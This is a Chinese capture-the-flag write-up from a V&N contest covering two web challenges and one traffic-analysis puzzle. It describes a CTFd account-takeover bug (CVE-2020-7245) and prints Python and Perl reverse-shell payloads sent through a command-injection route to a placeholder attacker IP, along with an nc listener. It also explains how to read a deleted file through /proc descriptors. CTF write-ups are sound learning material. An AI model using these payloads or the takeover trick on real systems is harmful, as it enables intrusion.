这场比赛既是V&N的公开赛,也是招新赛、考核赛,四道Web题目由赵师傅命题,比赛前,赵师傅一直在说Web出的很简单,果然,他所谓的“简单”对我这菜鸡来说就是这么难顶,最终,我做出了两道WEB一道MISC,害~菜是原罪,不知道这成绩会不会被踢出V&N…

WEB

HappyCTFd

这题考察的是前不久爆出来的CTFd的一个CVE漏洞,但遗憾的是我并不知道这个漏洞的存在。随便注册一个账号,登录后发现存在一个admin用户,所以这题的最终目的应该就是获得或者修改admin密码,刚开始我一直想的是修改tocken或者SESSION进而修改admin的密码,或者是通过XSS获得admin密码,但是最终都失败了。

经过漫长的测试,我发现,当注册账号时,如果用户名前添加一个空格,登录后就成了admin,空格消失了,但是它并不具有admin的功能,仍然只是一个普通用户,我当时就在想,如果这题的考点不是这里,那这可是一个高危漏洞啊!随后当我选择忘记密码填上邮箱重置完成后,成功登录上了admin管理账号!也就是空格消失了,重置密码时空格依然不存在,造成了该逻辑漏洞。然后搜了一下CTFd的漏洞,发现原来是前不久爆出来的CVE漏洞,emmmmm,原来我距离CVE漏洞这么近…

登陆管理后发现在题目管理中有道题目是不可见状态,在附件里面发现flag文件:

参考链接:CVE-2020-7245

CheckIN

这题也做了很久,刚开始没有用查看源代码功能,自己手动整理的代码,然后我把注释去掉了…去掉了…然后测了很久发现达不到代码条件啊,返回去看了看是注释的原因。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

很明显,这是一道Flask题,代码结构很简单,经过审计发现,当访问靶机的时候,会以内网进行访问,然后变量flag_file会打开flag.txt文件,在路由/下,会返回app.py的代码,也就是目前看到的代码,/shell路由是该题解题的最关键部分,当访问/shell路由时,会执行命令删除flag文件,然后会获取以GET形式传参的变量c的值执行系统命令,同时返回字符1,因为c的值会执行系统命令,所以此处应该就是可以进行反弹shell的,比赛时我们战队用的是独立平台,

经过漫长的测试最终发现,curl似乎没安装,不能弹shell,然后去查了一下反弹shell的方式,经过反复尝试发现PythonPerl方式都可以弹出shell

Python方式Payload:

1
shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Perl方式Payload:

1
shell?c=perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"IP:端口");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

之后在自己VPS上面进行监听便可成功反弹shell:

1
nc -lvp 端口

反弹shell就又要回到代码上面了,这个题我的理解就是代码执行后,会打开flag.txt并将其内容存入内存中,之后当执行/shell路由时,会删掉原本的flag.txt文件。因为flag是存入内存中的,所以此时可以读取内存进程中的flag,这个时候就需要了解Linux Proc文件系统,在文件夹/proc下,会保存当前运行进程相关部分,所以可以打开该文件夹看一下当前进程:

1
cd /proc;ls

可以发现有几个数字,这些数字便是进程ID,选择一个进程看一下文件夹目录:

1
cd /proc/11;ls

可以看到该进程目录下有一个fd文件夹,该文件夹包含当前进程打开的每一个文件的文件描述符,而我们要找的flag便在文件描述符中,但是flag所在进程是不知道的,所以就需要挨个进程查看,去找到flag,在比赛时弹了shell后我找flag花了近一个小时…

参考链接:

LINUX下反弹SHELL的种种方式

Linux下几种反弹Shell方法的总结与理解

proc文件系统

MISC

拉胯的三条命令

下载附件文件名为zip,于是修改后缀为zip,解压得到一个流量文件和题目说明

题目说明:

1
2
在参加网络安全大赛第二届世界巡回赛新加坡站一场与SP战队的比赛时,作为K&K战队主防手的你使用经典的“三条命令”检查端口封闭状况。可是这次比赛平台没有回显,你能查出来有哪些端口是开放的嘛?
请将开放端口按由小到大顺序写入flag中 如:开放1、22、234端口,flag{122234}

所以思路很清楚了,就是查一下流量包中开放的端口,然后从小到大组成flag,搜了一下,在Kali中一个命令就能解决了:

1
tcpdump -n -r nmapll.pcapng 'tcp[13] = 18' | awk '{print $3}'| sort -u